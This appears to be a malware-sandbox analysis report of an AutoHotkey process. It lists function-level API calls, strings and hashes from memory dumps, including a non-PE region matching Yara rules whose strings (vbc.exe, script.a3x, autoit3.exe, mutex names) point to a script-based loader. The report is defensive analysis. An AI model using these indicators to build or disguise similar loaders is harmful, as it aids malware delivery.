Instruction Fuzzy Hash: 2852F370A002059FCB14DF58C881BAAB7B0FF45306F14856FED15AB3A2D779AC49CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0484683F Relevance: 15.1, APIs: 10, Instructions: 102
stringlibrarythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcpyn.KERNEL32(?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000), ref: 04846850
GetThreadLocale.KERNEL32(00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?), ref: 0484685D
GetLocaleInfoA.KERNEL32(00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019), ref: 04846863
lstrlen.KERNEL32(00000000), ref: 0484688E
lstrcpyn.KERNEL32(00000000,00000000,00000105,00000000), ref: 048468E3
LoadLibraryExA.KERNEL32(00000000,00000000,00000002,00000000,00000000,00000105,00000000), ref: 048468F3
lstrcpyn.KERNEL32(00000000,00000000,00000105,00000000), ref: 0484691F
LoadLibraryExA.KERNEL32(00000000,00000000,00000002,00000000,00000000,00000105,00000000), ref: 0484692F
lstrcpyn.KERNEL32(00000000,00000000,00000105,00000000,00000000,00000002,00000000,00000000,00000105,00000000), ref: 04846959
LoadLibraryExA.KERNEL32(00000000,00000000,00000002,00000000,00000000,00000105,00000000,00000000,00000002,00000000,00000000,00000105,00000000), ref: 04846969

Memory Dump Source

Source File: 00000001.00000002.1665821526.0000000004840000.00000040.00001000.00020000.00000000.sdmp, Offset: 04840000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4840000_AutoHotkey.jbxd

Yara matches

Similarity

API ID: lstrcpyn$LibraryLoad$Locale$InfoThreadlstrlen
String ID:
API String ID: 1599918012-0
Opcode ID: 7dade5298152fc593941fe503b6de554de437489973ea8f3d33dd2465c2d663e
Instruction ID: 84642a106dd61f17bc29ce3db29d73fef198437f26b13e2e16eeeac53a4fb06c
Opcode Fuzzy Hash: 7dade5298152fc593941fe503b6de554de437489973ea8f3d33dd2465c2d663e
Instruction Fuzzy Hash: 5A3173B1F0420D7EEF15DAE8C888FEE77BD9B98304F4046A1A545E2144E7F8AA858B51

Uniqueness

Uniqueness Score: -1.00%

Function 00480DC0 Relevance: 12.2, APIs: 8, Instructions: 164fileCOMMON

Download Yara Rule

APIs

_wcschr.LIBCMT ref: 00480E8A
FindFirstFileW.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,004DA728), ref: 00480EB2
FindClose.KERNELBASE(00000000,?,?,?,?,?,?,?,?,?,004DA728), ref: 00480ECA
_wcschr.LIBCMT ref: 00480F1D
FindFirstFileW.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,004DA728), ref: 00480F42
FindClose.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,004DA728), ref: 00480F52

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: Find$CloseFileFirst_wcschr
String ID:
API String ID: 1717823228-0
Opcode ID: 797df0c256d5725ca41af4faac879a5c98edde5b889bfbd71742acaf223e7456
Instruction ID: ce61147d11e211d9d93b7a0dd572c10af8625b35c229563d86450140d323540b
Opcode Fuzzy Hash: 797df0c256d5725ca41af4faac879a5c98edde5b889bfbd71742acaf223e7456
Instruction Fuzzy Hash: 90512B729103019BC720AB50CC85EBF77A8EF85315F068D2AED4597281F778E90CC799

Uniqueness

Uniqueness Score: -1.00%

Function 0041EF50 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 243timeCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,?,?,?,?,00404330), ref: 0041EF8A

Part of subcall function 0047D030: _malloc.LIBCMT ref: 0047D04D

SetCurrentDirectoryW.KERNEL32(02C40078,004DA728,00000068,00000000,00000000,00000000,004DA728,?,004B6410,00000000,00000000,?,?,?,?,00404330), ref: 0041F19A
GetSystemTimeAsFileTime.KERNEL32(00000000,00000000,004AF9A8,000000FF,00000000,00000001,ErrorLevel,00000000,00000003,02C40248,00000000,00000000,00000000,004DA728,00000068,00000000), ref: 0041F257

Strings

ErrorLevel, xrefs: 0041F22A
Script file not found:%s, xrefs: 0041EF96

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: FileTime$AttributesCurrentDirectorySystem_malloc
String ID: ErrorLevel$Script file not found:%s
API String ID: 2559509361-1401792684
Opcode ID: fd07aa19839ded81b48e4f55a6f5c531e72e7f26b61a6e09514ac9f759156bf5
Instruction ID: f61fc0c5e7512b7064b2c4a0a2e24b8162e34c72f8404382babc579a4a6b0bdd
Opcode Fuzzy Hash: fd07aa19839ded81b48e4f55a6f5c531e72e7f26b61a6e09514ac9f759156bf5
Instruction Fuzzy Hash: DE91CE316012009FC710EF6AEC85B9677A4EB48328F14857FE904973A1D779DC96CB9E

Uniqueness

Uniqueness Score: -1.00%

Function 04871EA9 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32 ref: 04871EAD

Memory Dump Source

Source File: 00000001.00000002.1665821526.0000000004840000.00000040.00001000.00020000.00000000.sdmp, Offset: 04840000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4840000_AutoHotkey.jbxd

Yara matches

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: 164958952a65646381214db1b4a055e44a1e221444857ac4ad8b7e5867382ee1
Instruction ID: 6e71f3fd683d6d893fd659b75804d9e834990793f6b68d16eeadc50ce1179f04
Opcode Fuzzy Hash: 164958952a65646381214db1b4a055e44a1e221444857ac4ad8b7e5867382ee1
Instruction Fuzzy Hash: BEA012104085014EC404A75D5C4240B318019C0014FC40720745CD9281E705D56402D7

Uniqueness

Uniqueness Score: -1.00%

Function 00444DE0 Relevance: 95.4, APIs: 50, Strings: 4, Instructions: 941registrywindowCOMMON

Download Yara Rule

APIs

RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00444E01
DefWindowProcW.USER32(?,?,?,?), ref: 00445593

Part of subcall function 0041EB40: _wcsncpy.LIBCMT ref: 0041EB94
Part of subcall function 0041EB40: SetCurrentDirectoryW.KERNEL32(004B0CF8,00000000,004DA6A0,004DA6A0,00000000), ref: 0041EC00

Strings

9000, xrefs: 00445505
AHK_ATTACH_DEBUGGER, xrefs: 004454BD
TaskbarCreated, xrefs: 00444DFC
localhost, xrefs: 004454EE

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: Window$CurrentDirectoryMessageProcRegister_wcsncpy
String ID: 9000$AHK_ATTACH_DEBUGGER$TaskbarCreated$localhost
API String ID: 4277639754-182697789
Opcode ID: c8cdfe95fa883433c8f5fbbb41619d7f9c8b2ba8b67caa1e0989f1b7f940f9d9
Instruction ID: 311e400f69146cca57776dcc6bbd09bd6731533809533cfdbb805ac6c7e01d95
Opcode Fuzzy Hash: c8cdfe95fa883433c8f5fbbb41619d7f9c8b2ba8b67caa1e0989f1b7f940f9d9
Instruction Fuzzy Hash: 9962D172701604AFEB20DF69EC84A6B77A5EB85311F04492BF946C7392D735EC10CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0041E0D0 Relevance: 58.0, APIs: 24, Strings: 9, Instructions: 253
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 0041E102

Part of subcall function 00481EC0: LoadLibraryExW.KERNEL32(?,00000000,00000002,?,?,?,?,00000000,FFFFFF61,00000000,00000000,00000000), ref: 00481ED9
Part of subcall function 00481EC0: FindResourceW.KERNEL32(00400000,00400000,0000000E), ref: 00481F3F
Part of subcall function 00481EC0: LoadResource.KERNEL32(00400000,00000000), ref: 00481F4F
Part of subcall function 00481EC0: LockResource.KERNEL32(00000000), ref: 00481F5E
Part of subcall function 00481EC0: GetSystemMetrics.USER32(0000000B), ref: 00481F86
Part of subcall function 00481EC0: FindResourceW.KERNEL32(00400000,?,00000003), ref: 00481FE6
Part of subcall function 00481EC0: LoadResource.KERNEL32(00400000,00000000), ref: 00481FF4
Part of subcall function 00481EC0: LockResource.KERNEL32(00000000), ref: 00481FFF

GetSystemMetrics.USER32(00000031), ref: 0041E14C

Part of subcall function 00481EC0: EnumResourceNamesW.KERNEL32 ref: 00481F26
Part of subcall function 00481EC0: SizeofResource.KERNEL32(00400000,00000000,00000001,00030000,00000000,00000000,00000000), ref: 0048201A
Part of subcall function 00481EC0: CreateIconFromResourceEx.USER32(00000000,00000000), ref: 00482022
Part of subcall function 00481EC0: ExtractIconW.SHELL32(00000000,?,?), ref: 00482062

LoadCursorW.USER32(00000000,00007F00), ref: 0041E17C
RegisterClassExW.USER32 ref: 0041E1A1
RegisterClassExW.USER32(?), ref: 0041E1EA
GetForegroundWindow.USER32 ref: 0041E1F1
GetClassNameW.USER32(00000000,?,00000040), ref: 0041E203
__wcsicoll.LIBCMT ref: 0041E217
CreateWindowExW.USER32(00000000,AutoHotkey,?,00CF0000,80000000,80000000,80000000,80000000,00000000,00000000,00400000,00000000), ref: 0041E26E
GetMenu.USER32(00000000), ref: 0041E29E
EnableMenuItem.USER32(00000000,0000FF79,00000003), ref: 0041E2AE
CreateWindowExW.USER32(00000000,edit,00000000,50A00804,00000000,00000000,00000000,00000000,00000000,00000001,00400000,00000000), ref: 0041E2F5
GetDC.USER32(00000000), ref: 0041E305
GetDeviceCaps.GDI32(00000000,0000005A), ref: 0041E33E
MulDiv.KERNEL32(0000000A,00000000), ref: 0041E347
CreateFontW.GDI32(00000000), ref: 0041E350
ReleaseDC.USER32(00030450,00000000), ref: 0041E363
SendMessageW.USER32(00030450,00000030,7B0A0E4C,00000000), ref: 0041E380
SendMessageW.USER32(00030450,000000C5,00000000,00000000), ref: 0041E392
ShowWindow.USER32(0002044A,00000000), ref: 0041E3A2
ShowWindow.USER32(0002044A,00000000), ref: 0041E3AD
ShowWindow.USER32(0002044A,00000006), ref: 0041E3BC
SetWindowLongW.USER32(0002044A,000000EC,00000000), ref: 0041E3C8
LoadAcceleratorsW.USER32(00400000,000000D4), ref: 0041E3DA

Part of subcall function 0041E510: _memset.LIBCMT ref: 0041E520
Part of subcall function 0041E510: _wcsncpy.LIBCMT ref: 0041E592
Part of subcall function 0041E510: Shell_NotifyIconW.SHELL32(00000000,?), ref: 0041E5A5

Strings

0, xrefs: 0041E11D
Shell_TrayWnd, xrefs: 0041E211
edit, xrefs: 0041E2EE
RegClass, xrefs: 0041E1B9
Lucida Console, xrefs: 0041E31B, 0041E320
AutoHotkey, xrefs: 0041E125, 0041E263
Consolas, xrefs: 0041E314
CreateWindow, xrefs: 0041E28A
AutoHotkey2, xrefs: 0041E1DA

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: Resource$Window$Load$Create$ClassIconShow$FindLockMenuMessageMetricsRegisterSendSystem_memset$AcceleratorsCapsCursorDeviceEnableEnumExtractFontForegroundFromItemLibraryLongNameNamesNotifyReleaseShell_Sizeof__wcsicoll_wcsncpy
String ID: 0$AutoHotkey$AutoHotkey2$Consolas$CreateWindow$Lucida Console$RegClass$Shell_TrayWnd$edit
API String ID: 2663150501-3882032541
Opcode ID: 0ffa2671344ac2b411b3940b835af6ef24a72abeec5c2d2f6dd451c22f5dee75
Instruction ID: 0e34028e40d4e23f5c5e0c8176ff6781b07e660b381e0ad69735c3f8942d17fc
Opcode Fuzzy Hash: 0ffa2671344ac2b411b3940b835af6ef24a72abeec5c2d2f6dd451c22f5dee75
Instruction Fuzzy Hash: B981C8B5B44300BBE720AB61DC45FA73BA8EB45704F14052BFA05E72D0D7B8A844CB6D

Uniqueness

Uniqueness Score: -1.00%

Function 0489EB61 Relevance: 44.1, APIs: 3, Strings: 22, Instructions: 393
sleepthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(000007D0,00000000,0489F18F,?,00000000,00000000), ref: 0489EC85
Sleep.KERNEL32(00000064,00000000,0489F18F,?,00000000,00000000), ref: 0489ECBA
GetCurrentThreadId.KERNEL32 ref: 0489F03B

Strings

u.txt, xrefs: 0489EE22, 0489EE6C
debug 0 , xrefs: 0489ECA3
AHK, xrefs: 0489ECF6
vbc.exe, xrefs: 0489EE3A
cc.txt, xrefs: 0489EBFB, 0489EC29
c:\debugg, xrefs: 0489EC8A
c:\temp\test_ok, xrefs: 0489EBDD
AU3, xrefs: 0489ED27
c.txt, xrefs: 0489EC64
mutex1, xrefs: 0489EEDA
Yes, xrefs: 0489ED8E, 0489EDA4, 0489EE07, 0489F059
test.txt, xrefs: 0489EF5F, 0489F11A
6.5.1, xrefs: 0489EB8D
uu.txt, xrefs: 0489EE9A, 0489F07A, 0489F0A8
script.a3x, xrefs: 0489F0F4
abby, xrefs: 0489EDD3
mutex0, xrefs: 0489EEB8
c:\tes2\, xrefs: 0489F12F, 0489F13D, 0489F147
DLL, xrefs: 0489ED58
test, xrefs: 0489EBD8
autoit3.exe, xrefs: 0489F0CE
c:\temp\just_test.txt, xrefs: 0489EBCA

Memory Dump Source

Source File: 00000001.00000002.1665821526.0000000004840000.00000040.00001000.00020000.00000000.sdmp, Offset: 04840000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4840000_AutoHotkey.jbxd

Yara matches

Similarity

API ID: Sleep$CurrentThread
String ID: 6.5.1$AHK$AU3$DLL$Yes$abby$autoit3.exe$c.txt$c:\debugg$c:\temp\just_test.txt$c:\temp\test_ok$c:\tes2\$cc.txt$debug 0 $mutex0$mutex1$script.a3x$test$test.txt$u.txt$uu.txt$vbc.exe
API String ID: 1849766040-536896633
Opcode ID: 3bc5122a482c3deacd309c444fe6eead752a92e886d603710d7e9008071071f6
Instruction ID: 3329acff9ade6336c40520280c85159055d1b2c90b77af72792144adee436825
Opcode Fuzzy Hash: 3bc5122a482c3deacd309c444fe6eead752a92e886d603710d7e9008071071f6
Instruction Fuzzy Hash: 6AF13834A005088BFF14EBA8D490A9CB3A5EF4660CF584F91EA14EB755DBB4FD498B12

Uniqueness

Uniqueness Score: -1.00%

Function 00404370 Relevance: 44.0, APIs: 12, Strings: 13, Instructions: 252
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindResourceW.KERNELBASE(00000000,00000001,0000000A,?,?,?,?,00404320,?), ref: 0040438B
__wcsicoll.LIBCMT ref: 004043BE
__wcsicoll.LIBCMT ref: 004043D4
__wcsicoll.LIBCMT ref: 004043EA
__wcsicoll.LIBCMT ref: 00404400
__wcsnicmp.LIBCMT ref: 00404418
__wcsicoll.LIBCMT ref: 0040444D
__wcsicoll.LIBCMT ref: 0040446F

Strings

A_Args, xrefs: 00404631, 0040465F
*#1, xrefs: 00404395
/CP, xrefs: 00404507
/force, xrefs: 004043FA
9000, xrefs: 004045AC, 004045D0
/Debug, xrefs: 0040452D
/ErrorStdOut, xrefs: 00404412
/script, xrefs: 00404447
localhost, xrefs: 004045C1
/include, xrefs: 00404469
/iLib, xrefs: 004044A1
/restart, xrefs: 004043CE
$mM, xrefs: 00404584

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: __wcsicoll$FindResource__wcsnicmp
String ID: $mM$*#1$/CP$/Debug$/ErrorStdOut$/force$/iLib$/include$/restart$/script$9000$A_Args$localhost
API String ID: 3944913069-1584552616
Opcode ID: 8dfb7e424f5f28b303d49cc310f6af046d1e3a3d5f69a19a1a6f354707d8da0b
Instruction ID: 4ea2c535b0a9603de5d2aa5e19152a5ce38d98647489de704cc40f934b39f973
Opcode Fuzzy Hash: 8dfb7e424f5f28b303d49cc310f6af046d1e3a3d5f69a19a1a6f354707d8da0b
Instruction Fuzzy Hash: 73712BB1B442016BD711AB69AC42B6B37949BA1709F14403FFE05A63C2F77DDE0582AF

Uniqueness

Uniqueness Score: -1.00%

Function 0044C070 Relevance: 28.5, APIs: 15, Strings: 1, Instructions: 457
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__wcstoui64.LIBCMT ref: 0044C132

Strings

Out of memory., xrefs: 0044C306, 0044C3CB

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: __wcstoui64
String ID: Out of memory.
API String ID: 3882282163-4087320997
Opcode ID: e109cf9613345e516351f5e4b6e26f657ca4ddc7ec6fd38ec1da9edf0244ba5f
Instruction ID: 10bcdced3b1fd273e0f3236f0e5bb612d4932cb3b4d7f7201b7a786520782577
Opcode Fuzzy Hash: e109cf9613345e516351f5e4b6e26f657ca4ddc7ec6fd38ec1da9edf0244ba5f
Instruction Fuzzy Hash: 53E166716053005BE7209F698CC1BBB7790AB95324F18062FF9919B3C2DB7DD84687AE

Uniqueness

Uniqueness Score: -1.00%

Function 00431775 Relevance: 25.2, APIs: 11, Strings: 3, Instructions: 702windowclipboardCOMMON

Download Yara Rule

APIs

GlobalUnlock.KERNEL32(00000000), ref: 00430A6C
CloseClipboard.USER32 ref: 00430A7C
GetTickCount.KERNEL32 ref: 00430A8E
PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00430ABA
GetTickCount.KERNEL32 ref: 00430AD0
GetTickCount.KERNEL32 ref: 00430B94
_free.LIBCMT ref: 00431A57
_free.LIBCMT ref: 00431A95
_wcschr.LIBCMT ref: 00431CD2

Strings

v1j, xrefs: 00430AA8
SMHD, xrefs: 00431CCD
D, xrefs: 0043189F

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: CountTick$_free$ClipboardCloseGlobalMessagePeekUnlock_wcschr
String ID: D$SMHD$v1j
API String ID: 1021975077-266152296
Opcode ID: 6fb21f818125d9475a097eff479efa0a17ed8342e2308a683a023ebab6e656d2
Instruction ID: f7e77dbd848ad812e51f72988eb8a59d72245f57d710ad1e6037afe51a8d010e
Opcode Fuzzy Hash: 6fb21f818125d9475a097eff479efa0a17ed8342e2308a683a023ebab6e656d2
Instruction Fuzzy Hash: 4E42D070608341CFD724DF14D890B6BB7E1AB89314F146A2FE8858B3A1D779EC85CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 00431035 Relevance: 25.1, APIs: 9, Strings: 5, Instructions: 575windowclipboardCOMMON

Download Yara Rule

APIs

GlobalUnlock.KERNEL32(00000000), ref: 00430A6C
CloseClipboard.USER32 ref: 00430A7C
GetTickCount.KERNEL32 ref: 00430A8E
PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00430ABA
__wcsicoll.LIBCMT ref: 00431307

Part of subcall function 00438630: _wcsncpy.LIBCMT ref: 004386E3
Part of subcall function 00438630: _wcschr.LIBCMT ref: 0043872A
Part of subcall function 00438630: _memmove.LIBCMT ref: 00438776
Part of subcall function 00438630: _wcschr.LIBCMT ref: 00438783

GetTickCount.KERNEL32 ref: 00430AD0

Part of subcall function 0041AFD0: __wcsicoll.LIBCMT ref: 0041B0DC
Part of subcall function 0041AFD0: __wcsicoll.LIBCMT ref: 0041B0F4

Part of subcall function 0041CEA0: __fassign.LIBCMT ref: 0041CEB0

__wcsicoll.LIBCMT ref: 004310A5

Strings

CSV, xrefs: 00431301
Read, xrefs: 0043109F
v1j, xrefs: 00430AA8
Parameter #3 invalid., xrefs: 00435172
Parameter #2 invalid., xrefs: 00435148

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: __wcsicoll$CountTick_wcschr$ClipboardCloseGlobalMessagePeekUnlock__fassign_memmove_wcsncpy
String ID: CSV$Parameter #2 invalid.$Parameter #3 invalid.$Read$v1j
API String ID: 1197092883-2063208240
Opcode ID: 67f6c7dea7ce6972e0d480ecda0304d9e2e7464eea458bde37fd68bcb011f90e
Instruction ID: b3bfa134d8ccc7a34a7196c784ca034fcbc288a249cfb7be489ac4d864bae0da
Opcode Fuzzy Hash: 67f6c7dea7ce6972e0d480ecda0304d9e2e7464eea458bde37fd68bcb011f90e
Instruction Fuzzy Hash: 4C229C71608340DFD714CF54D880BABB7E5AB88314F149A2FF989873A1D778E845CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 004347FA Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 253
windowclipboardCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalUnlock.KERNEL32(00000000), ref: 00430A6C
CloseClipboard.USER32 ref: 00430A7C
GetTickCount.KERNEL32 ref: 00430A8E
PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00430ABA
GetTickCount.KERNEL32 ref: 00430AD0
GetTickCount.KERNEL32 ref: 00430B94
__wcsnicmp.LIBCMT ref: 00434808
_wcschr.LIBCMT ref: 0043483E
__swprintf.LIBCMT ref: 004348CE

Part of subcall function 00404070: __wcstoi64.LIBCMT ref: 00404080

__wcsnicmp.LIBCMT ref: 004348ED

Strings

Float, xrefs: 00434802
v1j, xrefs: 00430AA8
Integer, xrefs: 004348E7
%%%s%s%s, xrefs: 004348C8

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: CountTick$__wcsnicmp$ClipboardCloseGlobalMessagePeekUnlock__swprintf__wcstoi64_wcschr
String ID: %%%s%s%s$Float$Integer$v1j
API String ID: 2402484164-2641105242
Opcode ID: 34fbe2e23b42e3702df13e9bdc27c237454fec4696a458d2f8beee5494b01c50
Instruction ID: f9064c7bbdae209e6c78806b0421e91406ef30e2b7197535e8a870e46e02f5d5
Opcode Fuzzy Hash: 34fbe2e23b42e3702df13e9bdc27c237454fec4696a458d2f8beee5494b01c50
Instruction Fuzzy Hash: 1FA13531A04241CBDB28DB24DC95B6A77A1AB49318F14673FE8598B3E1D77CD880CB5E

Uniqueness

Uniqueness Score: -1.00%

Function 00434E42 Relevance: 19.5, APIs: 8, Strings: 3, Instructions: 238
registrywindowclipboardCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalUnlock.KERNEL32(00000000), ref: 00430A6C
CloseClipboard.USER32 ref: 00430A7C
GetTickCount.KERNEL32 ref: 00430A8E
PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00430ABA
GetTickCount.KERNEL32 ref: 00430AD0
__wcsicoll.LIBCMT ref: 00434EFF

Part of subcall function 0047FFB0: _vswprintf_s.LIBCMT ref: 0047FFC9

RegCloseKey.ADVAPI32(00000000), ref: 00434F33

Strings

v1j, xrefs: 00430AA8
%s\%s, xrefs: 00434E63
ahk_default, xrefs: 00434EF9

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: CloseCountTick$ClipboardGlobalMessagePeekUnlock__wcsicoll_vswprintf_s
String ID: %s\%s$ahk_default$v1j
API String ID: 2168002563-383174103
